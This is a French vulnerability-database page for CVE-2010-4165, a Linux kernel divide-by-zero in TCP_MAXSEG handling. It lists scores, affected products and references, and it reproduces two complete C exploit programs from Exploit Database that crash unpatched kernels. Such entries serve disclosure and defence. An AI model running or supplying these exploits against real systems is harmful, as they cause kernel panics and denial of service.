CVE-2010-4165 : Détail

CVE-2010-4165

0.04%V3
Local
2010-11-20
20h00 +00:00
2011-01-15
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

The do_tcp_setsockopt function in net/ipv4/tcp.c in the Linux kernel before 2.6.37-rc2 does not properly restrict TCP_MAXSEG (aka MSS) values, which allows local users to cause a denial of service (OOPS) via a setsockopt call that specifies a small value, leading to a divide-by-zero error or incorrect use of a signed integer.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-369 Divide By Zero
The product divides a value by zero.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 16263

Date de publication : 2011-03-01 23h00 +00:00
Auteur : prdelka
EDB Vérifié : Yes

/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165) * ======================================================= * A divide by 0 error occurs in tcp_select_initial_window * when processing user supplied TCP_MAXSEG facilitating a * local denial-of-service condition (kernel oops!) in all * Linux Kernel 2.6.x branch (2.6.37 & below). This issue * can be triggered easily with a call to setsockopt() on * a listening network socket and then establishing a TCP * connection to the awaiting socket. * * -- prdelka * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { int optval, optlen, ret, sd, sd2, pid; char *host = "localhost"; struct sockaddr_in locAddr; struct sockaddr_in servAddr; struct sockaddr_in dstAddr; printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n"); sd = socket(AF_INET, SOCK_STREAM, 0); memset(&servAddr,0,sizeof(servAddr)); memset(&dstAddr,0,sizeof(dstAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(60000); servAddr.sin_addr.s_addr = INADDR_ANY; dstAddr.sin_family = AF_INET; inet_aton("127.0.0.1", &dstAddr.sin_addr); dstAddr.sin_port = htons(60000); if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){ printf("[ Cannot bind listener service\n"); exit(-1); } listen(sd,4); optval = 12; ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval)); if(ret==0) { printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n"); int sin_size = sizeof(struct sockaddr_in); switch(pid = fork()) { case 0: sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size); sleep(3); default: sd2 = socket(AF_INET, SOCK_STREAM, 0); connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr)); sleep(3); } } printf("[ System is patched, no dreams for this prince\n"); return 0; }
Exploit Database EDB-ID : 16952

Date de publication : 2011-03-09 23h00 +00:00
Auteur : zx2c4
EDB Vérifié : No

/* * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2 * by zx2c4 * * This exploit triggers CVE-2010-4165, a divide by zero * error in net/ipv4/tcp.c. Because this is on the softirq * path, the kernel oopses and then completely dies with * no chance of recovery. It has been very reliable as a * DoS, but is not useful for triggering other bugs. * * -zx2c4, 28-2-2011 */ #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <net/if.h> #include <arpa/inet.h> #include <netinet/tcp.h> int main() { struct sockaddr_in laddr; memset(&laddr, 0, sizeof(laddr)); laddr.sin_family = AF_INET; laddr.sin_addr.s_addr = inet_addr("127.0.0.1"); laddr.sin_port = htons(31337); int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (listener < 0) { printf("[-] Could not open listener.\n"); return -1; } int val = 12; if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) { printf("[-] Could not set sockopt.\n"); return -1; } if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not bind to address.\n"); return -1; } if (listen(listener, 1) < 0) { printf("[-] Could not listen.\n"); return -1; } int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (hello < 0) { printf("[-] Could not open connector.\n"); return -1; } if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) { printf("[-] Could not connect to listener.\n"); return -1; } printf("[-] Connection did not trigger oops.\n"); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Configuraton 0

Opensuse>>Opensuse >> Version 11.2

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Références

http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.spinics.net/lists/netdev/msg146405.html
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42801
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/11/12/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42932
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/69241
Tags : vdb-entry, x_refsource_OSVDB
http://www.vupen.com/english/advisories/2011/0124
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:051
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/44830
Tags : vdb-entry, x_refsource_BID
http://www.spinics.net/lists/netdev/msg146495.html
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/11/12/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:029
Tags : vendor-advisory, x_refsource_MANDRIVA
http://securityreason.com/securityalert/8111
Tags : third-party-advisory, x_refsource_SREASON
http://securityreason.com/securityalert/8123
Tags : third-party-advisory, x_refsource_SREASON